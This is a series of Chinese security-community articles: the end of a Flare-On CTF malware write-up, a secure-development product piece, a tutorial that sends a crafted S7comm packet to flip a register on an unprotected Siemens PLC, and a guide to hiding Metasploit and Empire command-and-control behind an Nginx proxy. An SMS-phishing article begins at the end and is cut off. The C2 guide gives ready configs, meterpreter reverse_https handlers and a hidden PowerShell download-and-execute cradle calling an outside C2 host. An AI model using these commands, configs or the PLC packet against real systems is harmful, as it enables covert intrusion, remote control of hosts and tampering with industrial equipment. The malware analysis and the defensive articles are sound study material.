笔者一开始按照提示使用`Reese's`作为Key去解密`ice_cream.txt`，尝试数次结果均为乱码。按`shopping_list.txt`文件给出顺序，下一文件应为`banana_chips.txt`，结果如下：
其他以B开头文件通过异或运算解码出内容如下：
其他以R开头文件亦可使用Base64解码出内容：
笔者起初以为`ENCODED_BYTE + 27 + NUMBER1 * NUMBER2 -NUMBER3`公式中3个`NUMBER`是前边解码出的三个字节，但尝试后发现并不是，而是环境变量：
代入三个环境变量，公式化简为`ENCODED_BYTE-4`。笔者同时查看了`.bashrc`文件：
使用公式解密`ice_cream.txt`，`iced_coffee.txt`及`instant_noodles.txt`：
笔者在解码出`ice_cream.txt`结果时，不知道其内容有何作用，等解码出`instant_noodles.txt`结果时回看，发现每个数字对应字母各不相同，那么0xMS——0x64，`iced_coffee.txt`结果中给出的`SREFBE`——493513。以493513作为RC4算法的Key去解密`nachos.txt`，`natillas.txt`及`nutella.txt`：
根据提示进行搜索，算法应使用Bifid Cipher：
Key应使用`eggs`：
解密以D开头文件：
根据提示，于Documents目录下看到隐藏文件`.daiquiris.txt`，使用Bifid Cipher解密：
搜索Giovan Battista Bellaso相关，确定下一步应使用维吉尼亚密码(Key是microwaves)：
解密以O开头文件：
根据文件给出的推特账号进行搜索：
从中提取出AES解密所需Key及IV：
解密以T开头文件：
`/etc/Quijote.txt`中内容来自《堂吉诃德》，使用在线西班牙语词频分析工具分析其中出现的独特单词个数：
将所有十六进制ASCII码转换成字符：
输入`dot`，得到Flag：
这道题目前面部分对勒索软件`zyppe`的分析是很有意思的，笔者之前未接触过Linux平台的恶意软件分析。后面部分环环相扣，梳理清楚逻辑之后按部就班使用CyberChef解密即可得出Flag，难度偏易。
## 0x02 Challenge 7:spel
题目只给了一个PE文件，查看基本信息：
拖入IDA查看，分析了很长一段时间才完成，其函数数量非常多：
放入沙箱中，没有检测出有效信息：
运行界面：
关闭之后，可以看到其仍在后台运行：
看到官方WriteUp上提到capa，之前一直没有使用过该工具。按照[capa explorer
documentation](https://github.com/mandiant/capa/blob/master/capa/ida/plugin/README.md)给出步骤搭建好环境，capa
rules下载链接文中已经给出，下载到本地后于Settings——capa rules path一栏中填写即可。`capa.exe
spel.exe`部分输出结果：
将上面结果与IDA插件capa explorer分析结果结合，在Search一栏中输入”stackstring”，定位到相关函数后勾选”Limit
results to current function”：
切换模式查看，发现是很长一段向栈中写值指令，直接跳转到0x14017973B处向上回溯：
可以看到总长度为0x2ED2D，之后调用`VirtualAllocExNuma`函数申请同样大小且具有 **PAGE_EXECUTE_READWRITE**
权限的一块内存，并将内容复制到新内存块中，最终跳转到新内存块执行：
初始化部分寄存器之后跳转到Offset 0x40处执行：
以往笔者遇到下图向栈中写字符串操作，是通过动调在合适指令处设断点后观察内存：
在看官方WriteUp时，看到其提及FLOSS与Ironstrings两个工具：
* FLOSS：[Github Releases](https://github.com/mandiant/flare-floss/releases/tag/v1.7.0)
* Ironstrings：[Github](https://github.com/mandiant/flare-ida/tree/master/python/flare/ironstrings)
关于Ironstrings的安装可以参考[FLARE Script Series: Recovering Stackstrings Using
Emulation with ironstrings](https://www.fireeye.com/blog/threat-research/2019/02/recovering-stackstrings-using-emulation-with-ironstrings.html)一文。
以`--no-static-strings`参数运行FLOSS：
执行ironstrings.py脚本：
之后通过RCX传递Hash值给`sub_A1C`函数获取`LdrLoadDll`与`LdrGetProcedureAddress`调用地址：
将stackstring传递给上述两个函数获取地址并调用之，Offset
0xB28处存储一PE文件。`GetNativeSystemInfo`判断当前运行环境，获取PE文件Image Optional
Header中ImageBase及SizeOfImage字段值后调用`VirtualAlloc`函数申请内存空间(第一次以ImageBase作为`lpAddress`，申请失败则置为NULL)。接下来根据各区段VirtualAddress，PointerToRawData及SizeOfRawData加载区段至申请内存空间中，根据重定位表进行重定位。调用`VirtualProtect`设置各区段`flNewProtect`值，通过`RtlAddFunctionTable`函数设置异常，最终通过PE文件Image
Optional Header中AddressOfEntryPoint字段定位入口点完成加载。
关于以上描述过程使用的Reflective DLL Injection技术可参阅[DOUBLEPULSAR Usermode Analysis:
Generic Reflective DLL Loader](https://blog.f-secure.com/doublepulsar-usermode-analysis-generic-reflective-dll-loader/)一文。
将其加载DLL Dump出来之后，capa检测到其.data区段中存有另一PE文件：
从EntryPoint执行到DllMain，传递PE文件存储地址给加载函数进行加载：
之后调用`sub_27327D0`获取其导出函数Start地址进行调用：
首先是异或解密stackstring：
其流程是申请一块内存—>向栈中写值—>XOR解密—>复制至申请内存空间，官方WriteUp中给出了解密IDAPython脚本，笔者分析时直接在函数结束处设置断点，观察内存内容：
官方WriteUp中提到一个IDA Plugin——Shellcode
Hashes，笔者觉得很好用，可以提高静态分析的效率和体验。该插件与上文提及的Ironstrings都位于[flare-ida](https://github.com/mandiant/flare-ida)中，将shellcode_hashes_search_plugin.py与`flare`目录一同复制到IDA的`Plugins`目录之后即可使用，选择`\flare-ida\shellcode_hashes`目录下的`sc_hashes.db`数据库文件即可：
前者是上文提及`sub_A1C`函数，后者是最后Dump出来的DLL中函数。
接下来调用`sub_180001A40`，`sub_180001990`会调用该函数两次——第一次传递给它的第二个参数值为1，第二次传递有两种情况：2或是8，若Filename为”Spell.EXE”则传递2，否则传递8。第一次调用会解密一串字符串，获取Filename及加载名为PNG的资源：
`sub_180001A40`保存获取到的相关信息时结构如下(后面还有一串字符`inactive`，没有放在图中)：
`sub_180002E60`函数判断Filename是否等于”Spell.EXE”：
若不等返回0，那么传递给`sub_180001A40`函数第二个参数值为8：
直接退出：
将程序命名为”Spell.EXE”之后再次调试，便可进入到`sub_180001A40`函数处理第二个参数为2的情形：
第二个参数为2时会调用`sub_180001F80`，该函数会向inactive[.]flare-on[.]com发起连接，根据接收到的不同命令执行不同的操作。后续在看官方WriteUp时，其提到FakeNet-NG工具，笔者在虚拟机里按照[FakeNet Genie: Improving Dynamic Malware Analysis with Cheat
Codes for FakeNet-NG](https://www.mandiant.com/resources/improving-dynamic-malware-analysis-with-cheat-codes-for-fakenet-ng)一文进行了配置，之后再次进行调试，分析出`sub_180002070`函数(由`sub_180001F80`调用)会处理三种命令：
* exe：调用`sub_180002410`
* run：调用`sub_180002590`
* flare-on.com：返回1
`sample_custom_response.ini`中TcpRawFile字段为同目录下文件，该文件存储要返回的命令：
当该函数返回1时，会进入到之后的`sub_180002A20`函数，设置注册表键值。接下来调用`sub_180002F70`，若返回1则进入`sub_180002730`设置另一注册表键值。第一个设置的键值：
该结果由”flare-on.com”与`0x1B8A7E991DC19F1415891D8A`异或而来：
`sub_180002730`通过switch将Flag与`0xFAE58ED80D859C9B8D87ACD7A7B7A4E2C3C1A806C29633`进行异或：
之后再次调用`sub_180002A20`设置第二个键值：
这道题目很贴合实际的样本分析，官方WriteUp中有这样一段话可以概括之：This challenge was inspired by multiple
malware samples we’ve analyzed over the last year。其使用的Reflective DLL
Injection技术，stackstring，API
Hashes，混淆字符串直到使用时才解密，C2等笔者在之前的样本分析过程都曾遇到过，而此题将其都融合在一个里面，是很有意思的一道题目。在分析过程中，结合官方WriteUp学习了几个新工具或是IDA
Plugin(capa，FLOSS，Ironstrings，shellcode_hashes，FakeNet-NG)的使用，方便以后的样本分析。
## 0x03 参阅链接
* [crontab(5) — Linux manual page](https://man7.org/linux/man-pages/man5/crontab.5.html)
* [getenv(3) — Linux manual page](https://man7.org/linux/man-pages/man3/getenv.3.html)
* [readdir(3) — Linux manual page](https://man7.org/linux/man-pages/man3/readdir.3.html)
* [Linux编程—readdir](https://www.jianshu.com/p/fab29726e763)
* [RC4—Wikipedia](https://en.wikipedia.org/wiki/RC4)
* [教你三招快速文件批量重命名方法](https://segmentfault.com/a/1190000024416655)
* [Bifid cipher—Wikipedia](https://en.wikipedia.org/wiki/Bifid_cipher)
* [FireEye’s Open-Source Tool – CAPA to Identify Malware Capabilities](https://www.socinvestigation.com/fireeyes-open-source-tool-capa-to-identify-malware-capabilities-2/)
* [DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader](https://blog.f-secure.com/doublepulsar-usermode-analysis-generic-reflective-dll-loader/)
* [Using Precalculated String Hashes when Reverse Engineering Shellcode](https://www.mandiant.com/resources/precalculated-string-hashes-reverse-engineering-shellcode)
* [FakeNet Genie: Improving Dynamic Malware Analysis with Cheat Codes for FakeNet-NG](https://www.mandiant.com/resources/improving-dynamic-malware-analysis-with-cheat-codes-for-fakenet-ng) | 社区文章 |
# 为什么“你家”漏洞那么多
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
这里提到的“你家”就是指企业，为什么会存在那么多的漏洞呢？目前的安全趋势下解决漏洞问题看似是一件小事，其实往大了说是一件大事，俗话说，“千里之堤毁于蚁穴”。我们不能每次遇见漏洞问题就大事化小，小事化了的态度。或者说在检查机关或者市场监管机构下，说是要进行大规模批量检查的时候，紧急组织一批安全人员处理所遇到的安全合规的问题；又或者说是业务处于运营期间而发生的一系列的安全问题。总是让我们猝不及防。为此，解决这一治标不治本的错误方法，寻找从根处解决这一根本问题，寻根究源积极从源头上杜绝此类现象再次发生，降低漏洞的修复成本，为业务系统的运行打造良好的健康的安全的运行环境。
## 内容
借鉴国外成功的最佳实践，结合国内安全情况制定的安全开发体系框架；在提出规定的同时，观察实际结果，形成整体的闭环。该框架主要分为四个方面：包括开发安全管理体系、开发安全知识赋能、开发安全产品支撑、开发安全阶段运营。开发安全管理体系提出各阶段要求、规范、流程，开发安全产品支撑管理体系的自动化落地，开发安全知识赋能各环节人员对体系、产品的理解，开发安全阶段运营则进行各环节技术点的支持与落地。
那么，怎么让开发安全的每个阶段能够有条不紊的进行着呢，这就需要将安全活动贯穿到SDL的每个环节之中；
需求分析阶段：STAC实现基于业务场景，对业务系统从数据、合规、连续性等方面进行安全需求分析
安全设计阶段：STAC对安全需求进行分析，利用SDFK基于安全设计核心原则进行安全设计
开发阶段：制定安全编码规范，在代码编写中通过SAST【静态应用程序安全测试】、基于代码仓库的安全巡检，提供与程序员对话的源码安全审计
测试阶段：IAST【交互式应用程序安全测试】建立内部安全测试模式，提供常见漏洞、业务逻辑漏洞检测，自动化完成安全测试
上线运行：通过SDPP流程管理平台将安全需求、代码安全检测、应用安全测试等安全活动进行流程管理，帮助项目管理人员可视化审查每个阶段的安全活动，统一化漏洞闭环管理。通过自研的漏洞管理平台实现资产管理和漏洞发现
其中SAST支持本地上传代码或SVN/GIT/TFS/MERCURIAL代码仓库源代码检测，在不改变原有的研发流程情况下，无感知的对代码仓库源代码进行增量测试及周期巡检，定时对代码安全质量进行全面体检，最大程度降低对研发工作的侵入性，融入研发流程，最大程度降低对研发工作的侵入性,全面覆盖研发人员在编码中和编码后的安全问题；漏洞验证引擎），根据比如数据流完整性的可信度是大于等于90%的
然后我们综合右边的完整性和合理性去进行判断漏洞是否存在底下都是编译引擎（编译原理），第三方组件引擎，漏洞识别引擎，漏洞验证引擎，统计、展示信息。漏洞精确的决策引擎，我们会对可信度打标签，可以调整，一般传统代码审计产品都是定死的；开源组件，解析项目里的开源组件，我们首先预置了一些，比如java
到maven上把所有的组件爬下来，组件是什么版本，这个版本有什么问题；漏洞识别引擎：基于语法树引擎，正则引擎，机器学习引擎，多引擎分析，降低误报率；还可以依据客户需求，通过调节漏洞检出率，检出率越高，漏洞覆盖率高，发现漏洞越多，检出率越低，精确度越高，误报率略低。支持选择项目扫描的漏洞类型，扫描的漏洞结果包括漏洞风险描述，修复建议，修复代码示例和风险溯源，可准确定位漏洞位置，帮助研发进一步整改，也减少了安全和研发的沟通成本封装好的函数，研发不用了解漏洞怎么产生的，只要知道怎么调用这个函数就可以解决了；第三方组件引擎，对配置、数据流、控制流、符号表等全面解析，语法引擎：提取变量，函数，类，执行流，基于这些去跟第三方组件里的函数，类对比，不是去对组件包本身进行分析
配置文件，编译过程中依赖关系，编译过程中二进制码；快速定位合规风险：提供 开源许可证的完整信息、是否开源、是否商用；同时进行了第三方平台的无缝对接；
iast
通过代码数据流和请求两种方式进行流量收集，进行漏洞检测，同时支持逻辑漏洞（水平垂直越权漏洞，验证码相关漏洞）检测，还可以对软件成分进行分析；帮助用户梳理项目中的第三方组件使用情况，对第三方组件的版本风险，安全漏洞分析，开源许可证风险进行评估；
而通过代码进行检测的方式是添加插桩Agent探针到应用服务器上，就相当于给应用服务器安装了一个传感器，主要控制台可以根据“传感器”发出的警报进行联动测试；又像是一个C/S端，将客户端放置在被测的业务系统上，一旦业务系统发生了什么反应服务端就可以在第一时间得到响应；还像是木马回连一样；总之这样的模式是基于代码层面的一种检测手段，不关注参数是否加密，它避免了加解密的场景、验证码和请求的重复释放（重放攻击）；还有一个好处就是代码经过时进行检测，进行污点标记若有过滤函数则去消除，否则就是污点沉降进行上报漏洞的；不用多次的重放攻击测试，避免了脏数据的存在，大大加快了漏洞的检出速率；还有与主动请求方式的配合就会弥补到漏洞不能进行复利用。相当于进行了二次检测进一步进行漏洞的确认；还可以利用检测代码代码的方式进行检测业务系统中是否存在第三方组件，这些组建是否是开源的，是否是商用的，是否是有许可证的，是否存在CVE的漏洞，以及存在的库名的信息；很好的帮助用户检测业务系统中的代码哪些地方存在安全风险，这样可以得到及时的修复；
基于请求模式下进行流量方式的检测，使用了URL去重的方式大大减少了不必要的检出的URL，从而提高了工具的使用率也减少时间成本的投入，大大提高了工作效率；IAST还增加了特有的业务逻辑的检测功能，高效的解决了一部分人工投入的成本，解放了一部分的工作内容；对业务系统的所有的API接口进行测试，设置高低权限账户自动切换COOKIE值的信息，利用扫描到的URL地址进行页面数据的对比测试，进行确认越权漏洞的情况；利用爆破等方式进行用户枚举，验证码等漏洞的检测，大大的降低了人工的工作时间；当然了在请求流量下支持所有语言的检测毕竟它走的是HTTPS/HTTP的协议，走的是应用层的协议；一些get\post等方式的请求，插入payload进行自动化尝试去检测系统中存在的漏洞，比如：app、web等都是可以去检测的，只是设置的代理方式不同，有点像抓包工具的原理一样，比如：burpsuit等； | 社区文章 |
# 对未配置写保护的PLC安全性验证
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 01.前言
S7-1215c是德国西门子公司开发的一款中小型PLC，该PLC在工控领域应用广泛。该PLC可支持s7comm及s7comm-plus协议，当上位采用第三方监控软件时与西门子PLC通讯时，可采用S7。这时我们构造符合S7协议规则的包可以对PLC进行寄存器定点攻击测试，验证在没有对采用软件对西门子PLC做写保护下，PLC很轻易被攻击，希望自动工程师在做工程配置一定要完成对PLC的基本安全配置。
## 02.原理
PLC未做任何保护机制的状态下，S7-1200
PLC采用S7协议与第三方软件（例如kingview）进行通讯，无需身份认证，构造符合S7协议规则的包可以对PLC进行相关攻击测试。在本实验中，完成对指定PLC寄存器地址的定点攻击测试。
下图是PLC的一个简单的设备启停控制逻辑程序，%M0.0、%M0.1是指PLC的M类型的寄存器，0.0、0.1是M寄存器的某两个偏移地址，对应中间变量。%Q0.2是PLC的Q类型的寄存器，0.2是Q寄存器的某个偏移地址。在这个控制程序中，%M0.0（变量名为start）对应是监控画面上的启动按钮，进行对电机的启动操作，%M0.1（变量名为stop）对应是监控画面上的停止按钮，进行对电机的停止操作。%Q0.2（变量名为out），对应PLC的DO输出，即将控制信号输出给设备。
## 03.建立下位控制程序
1）在Win7 虚拟平台打开PORTAL V13软件，创建一个新项目s71200，定义路径，如下图：
2）选择组态设备，添加新设备，选择和真实设备型号一致的硬件，如下图：
3）建立start、stop、out分别对应上位的通道地址M0.0、M0.1、Q0.2，如下图：
4）在PLC完成控制逻辑程序，并完成一个简单的逻辑控制，添加一个常闭线圈、常开线圈、输出线圈以及一个分支，实现的功能为，一个简单的设备启停控制逻辑程序，%M0.0、%M0.1是指PLC的M类型的寄存器，0.0、0.1是M寄存器的某两个偏移地址，对应中间变量。%Q0.2是PLC的Q型的寄存器，0.2是Q寄存器的某个偏移地址，对应的是PLC
DO的第一个通道。在这个控制程序中，%M0.0（变量名为start）对应是监控画面上的启动按钮，进行对电机的启动操作，%M0.1（变量名为stop）对应是监控画面上的停止按钮，进行对电机的停止操作。%Q0.2（变量名为out），对应PLC的输出，即将控制信号输出给设备，当在画面上按下start按钮时，DO的第一个通道点亮再加上外接电路就可以控制电机启停，如下图：
5）双击左侧列表的设备组态，再点击下图中PLC的接口，接着定义PLC的IP地址，如下图：
6）将以上设置下载到设备中，然后点击“装载”如下图：
## 04.上位组态程序
1）在Windows XP 虚拟平台打开组态王6.53，新建一个工程，名称及路径可自定义，如下图：
2）选中刚建好的工程，点击开发按钮，进入开发界面，如下图：
3）鼠标点击设备，在左面的对话框中有新建按钮，创建一个新的设备通讯，选择一种设备名称或者通讯方式，在本例程中选择西门子的s7-1200-TCP通讯方式，如下图：
4）设置代号也就是通讯名称，这里命名s71200，可以自定义，一般根据设备名称来命名，如下图：
5）选择一个接口，可以任意选择，只有未被使用，如下图：
6）填写需要与之通讯的设备的IP地址，同时IP地址后面跟一个设备的站地址，本例程中IP地址为192.168.10.53，站地址为0，可根据实际填写，如下图：
7）点击下一步，默认选项，直到完成创建，保存退出。
8）在数据库下的数据词典新建3个新变量，与下位机定义的变量相对对应，start、stop、out变量，如下图：
9）在画面下的新建一个画面，命名为s71200，如下图：
10）在s71200画面下，增加2个按钮，分别字符串替换为start、stop，对按钮进行按钮的动画连接，按下时变量赋值1，弹起时变量赋值0，如图：
11）在s71200画面下，再增加指示灯，连接变量out，当out为1显示绿色，值为0显示红色，如下图：
12）在文件下对修改进行保存，并切换到view模式下，如下图：
13）按下start按钮，可以看到指示灯变为绿色，并观察对应PLC的DO的第一个通道被点亮，如下图：
14）再按下stop按钮，关闭指示灯。
## 05.获取流量
这节以下的操作，只是为了演示给新手如何获取操作级的流量，当然如果对s7协议熟悉，是可以直接构造的。
1）在win7虚拟机机中打开wireshark软件，选择数据捕获接口，如下图：
2）开始数据抓取，并保持数据抓取状态，如下图：
3）在xp虚拟机中让测试程序处于运行状态下，点击start按钮，，指示灯点亮，如下图：
4）在wireshark中点击停止，保存数据包，如下图：
5）点击stop按钮，指示灯恢复到红色状态。
## 06.构造攻击数据包测试
这里我们通过抓取的流量复制后构造，大佬们可以直接构造。
1）在保存的数据包中进行数据过滤，应用显示过滤器中输入s7comm进行数据过滤，如下图：
2）找到功能码为写变量的数据包，源地址为win7虚拟机IP（192.168.1.39），目的地址为PLC的IP（192.168.1.11），如下图：
3）在wireshark中将数据包复制下来，具体操作为选中要复制的包右键复制>as a Hex Stream，如下图：
这个就是我们要构造的数据0300002402f080320100000fff000e00050501120a100200010000830000000004000801，通过对s7协议的了解，我们可以知道报文的含义为：写m0.0值为1。
4）通过下图我们知道这个PLC未做任何的保护措施：
5）在操作机中新建文本命名为S7（M0.0 to 1），并修改扩展名为.py，以Edit with
IDLE打开，并将上一步的数据包构造出，并进行保存，不关闭文件，如下图：
6）数据构造完成，在S7（M0.0 to 1）攻击测试脚本中选择Run>Run Module 或者直接快捷键F5发送数据包，如下图：
7）观察XP虚拟机中运行的测试程序中寄存器值的变化，如果值由0变化成1，指示灯由红色变为绿色，则攻击测试成功，实验完成。
## 05.总结
其实在我们一些大的自动化厂商的PLC都有基本的安全保护措施，如施耐德unity_pro中可以为PLC中配置IP白名单，通过TIA等软件也可以对西门子PLC也可以做一些读、写保护的配置。但在实际的控制系统的集成项目中，自动化工程师由于各种原因，会忽视对PLC的保护配置，造成我们的PLC丧失最基本的防护。 | 社区文章 |
# 【技术分享】多工具多用户的HTTP代理
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.swordshield.com/2016/10/multi-tool-multi-user-http-proxy/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**
****](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**基础知识**
目前，很大一部分流行的命令控制（C&C）工具都是通过HTTP来传输网络通信数据的，例如Metasploit和Empire。对于C&C工具而言，之所以HTTP协议是一个更加高效的选择，主要是因为这个协议几乎适用于目前所有类型的通信网络以及网络设备。除此之外，使用“HTTP
over
TLS”可以为这些工具添加一个额外的安全层，因为这项技术将会使我们更加难以去检测到C&C流量。如果企业或组织拥有一个配置正确的Web代理，那么这个能够执行SSL/TLS检查的代理将会帮助安全技术人员更好地检测C&C流量。但是在我所帮助测试过的组织中，并没有多少组织采取了这样的安全措施。
为了掩饰所有的非法操作，通过HTTP协议传输的C&C流量应该通过80端口或者443端口来发送。如果使用类似8080这样的特殊端口来发送C&C数据的话，不仅会引起管理员怀疑，而且也逃不过安全防护软件的检测。就我个人而言，我喜欢在同一台主机中使用多种类型的工具。如果我要在一台主机中同时使用Empire和Metasploit的网络传输模块，我将总共需要三个网络端口，一般来说我会选择使用80端口、8080端口、以及443端口。但是现在，我想要让所有的网络流量全部通过端口443来发送。因此，我现在就要使用Sword&Shield所提供的安全分析服务了，这样我就可以使用一个C&C代理来完成所有的分析操作。
接下来，我打算使用Nginx来搭建一个反向代理服务器。如下图所示，这样我们就可以使用一台Web服务器来同时处理多用户-多工具的情况了。当代理服务器配置完成之后，代理规则将会负责对发送至C2服务器端口的流量进行划分。除此之外，这样的配置也可以隐藏C&C服务器的“真实身份”（实际主机）。Nginx不仅安装和配置非常简单，而且操作起来也非常便捷。多用户-多工具的C&C代理架构图如下图所示：
**Nginx的安装与配置**
首先，将你最喜欢的Linux发行版安装至一台VPS服务器中，你愿意的话也可以将其安装在自己的服务器里。为了方便大家理解，我选择将Ubuntu
16.10安装在一台VPS主机中。如果各位同学在Nginx的安装和运行上遇到了困难的话，可以参阅这份教程[[教程获取]](https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04)。通过配置之后，我的服务器仅启用了80端口，并且只允许网络流量通过443端口来发送。
在测试开始之前，我们一定要将Nginx配置好，否则代理服务器将会不知道如何去处理那些通信连接。为了防止暴力破解攻击，我们要为每一个分析器分配一个GUID。你可以点击[这里](https://www.guidgenerator.com/)来生成相应的GUID。我所生成的GUID如下表所示：
我总共设置了三个分析器，每一个分析器的相关配置信息如下所示：
#Analyst 1
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ {
proxy_redirect off;
#Empire
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ {
proxy_pass https://205.232.71.92:443;
}
#Metasploit
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ {
#Metasploit exploit/multi/script/web_delivery
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery {
proxy_pass https://205.232.71.92:8080;
}
#Metasploit Payload windows/x64/meterpreter/reverse_https
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned {
proxy_pass https://205.232.71.92:80;
}
}
}
#Analyst 2
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ {
proxy_redirect off;
#Empire
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ {
proxy_pass https://1.2.3.5:443;
}
#Metasploit
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ {
#Metasploit exploit/multi/script/web_delivery
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery {
proxy_pass https://1.2.3.5:8080;
}
#Metasploit Payload windows/x64/meterpreter/reverse_https
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned {
proxy_pass https://1.2.3.5:80;
}
}
}
#Analyst 3
location /6012A46E-C00C-4816-9DEB-7B2697667D92/ {
proxy_redirect off;
#Empire
location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ {
proxy_pass https://1.2.3.6:443;
}
#Metasploit
location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ {
#Metasploit exploit/multi/script/web_delivery
location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery {
proxy_pass https://1.2.3.6:8080;
}
#Metasploit Payload windows/x64/meterpreter/reverse_https
location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned {
proxy_pass https://1.2.3.6:80;
}
}
}
由于我们要让Nginx需要区分出Metasploit和Empire的请求，所以我突发奇想，打算用‘m’来代表Metasploit，用‘e’来代表Empire。Empire的C2请求如下所示：
https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp
现在，既然我们已经可以确定传入的HTTP请求所使用的语句了，那么Nginx就需要将每一个请求转发至适当的分析代理服务器中，这项操作可以使用Nginx配置文件（/etc/nginx/sites-enabled/default）中的定位指令来完成。在这篇文章中，我们要为每一个分析器分别设置四个定位指令。在上面这段代码中，最外层的指令将会与分析器的GUID进行匹配。内层的定位指令主要用来匹配针对特定工具的请求，例如‘e’（Empire）和‘m’（Metasploit）。Metasploit的定位指令包含两个子定位指令，这两个指令可以用来匹配传入Metasploit特定模块和监听器的网络请求。
现在，C&C代理服务器应该配置完成并且可以正常运行了。如果配置无误的话，我们将只能使用TLS连接和端口443来与服务器进行通信。
**Metasploit的安装与配置**
众所周知，Metasploit提供了很多的功能模块，我们可以使用这些模块来与目标用户的计算机建立C2连接。我个人比较喜欢使用“exploit/multi/script/web_delivery”模块来作为launcher。我之所以非常喜欢这个模块，主要是因为它可以将meterpreter（ShellCode）注入至目标主机的内存中。这是一种非常理想的情况，因为你可以直接使用目标主机中的内置工具来进行操作，而不必向目标主机发送任何的文件。
接下来，我们要加载Nginx配置文件所需要使用的Metasploit模块，并使用URIPATH来对其进行设置。需要注意的是，自带的payload
handler必须被禁用，因为我们要单独配置这些payload。在配置这个模块的过程中，payload使用的是“windows/x64/meterpreter/reverse_https”，然后将LHOST和LPORT设置为C2代理服务器的IP地址和端口号。请注意，这里可千万不要设置成后台C2服务器的IP地址了。除此之外，我们还要设置与payload（例如Pwned）和Nginx中的指令相匹配的LURI。虽然相应的监听器根本不会启动，但我们仍然要去配置这些payload。因为接下来当模块被执行之后，我们要使用这些设置来生成显示在屏幕中的启动命令。我们可以将下面给出的这段指令直接复制粘贴到msfconsole中来配置并启动该模块：
use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run –j
下图显示的是Metasploit中web_delivery模块的配置信息：
当模块被执行后，屏幕中会显示一个包含有启动代码的字符串。请注意：必须将网络端口由8080改为443，否则之后将无法再进行修改了。除此之外，我们还必须手动去修改，因为我们的C2代理只会接受来自端口443的通信请求。这个字符串如下所示：
powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery');
接下来，将LHOST设置为0.0.0.0，LPORT设置为80（端口号的设置可以根据后台C2服务器来选择）。我们还需要配置OverrideLHOST、OverrideLPORT、以及OverrideRequestHost来确保payload可以直接与C2代理服务器进行对话。我们可以将下面给出的命令直接复制粘贴到msfconsole中来配置并启动该模块：
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 80
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
set OverrideLHOST myc2proxy.com
set OverrideLPORT 443
set OverrideRequestHost true
set ExitOnSession false
run –j
下图显示的是reverse_https的payload配置信息：
**Empire的安装与配置**
虽然Empire是我最喜欢的一款工具，但是在配置代理服务器的过程中，使用Empire之前还是有几个障碍需要克服的，相比之下Metasploit的配置和使用就简单多了。在PowerShell
v1中，初始链接序列所使用STAGE0、STAGE1和STAGE2是在empire.db的配置表中定义的。在我看来，我们是无法在Empire
CLI中修改这部分数据的，所以我们必须直接手动修改数据库。但是，PowerShell Empire
v2并没有使用这种架构。我建议各位同学使用git来下载Empire v2分支，命令如下：
cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git
下载完成之后，启动应用。由于Empire监听器所使用的端口必须与C2代理服务器的监听端口相同，所以Empire必须使用端口443和HTTPS协议。我们可以直接将下面给出的这段命令复制粘贴进Empire中来配置监听器：
listeners
uselistener http
set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko
set Name EmpireC2
set CertPath /opt/Empire/data/empire.pem
set Host https://myc2proxy.com
set Port 443
execute
launcher powershell
Empire监听器的配置信息如下图所示：
**执行**
现在，我们已经为Nginx
C2代理配置好了一个用于分析数据流量的后台C2服务器了。接下来，我们要在测试主机中执行我们所生成的其中一个launcher，你将会在后台C2服务器中看到测试主机的shell。为了增加安全措施，配置后台C2服务器只允许当前C2代理访问。
**结论**
代理可以用来保持后台服务的匿名性。当你需要在某个网络中进行命令控制活动时，代理所提供的这种特性是非常有用的。由于HTTPS的通信数据足够安全，因此现在越来越多的网络都开始使用HTTPS来进行通信了。但是，这也将有助于我们躲避安全产品的检测。 | 社区文章 |
# 针对Android的高级SMS钓鱼技术研究
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/advanced-sms-phishing-attacks-against-modern-android-based-smartphones/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Check
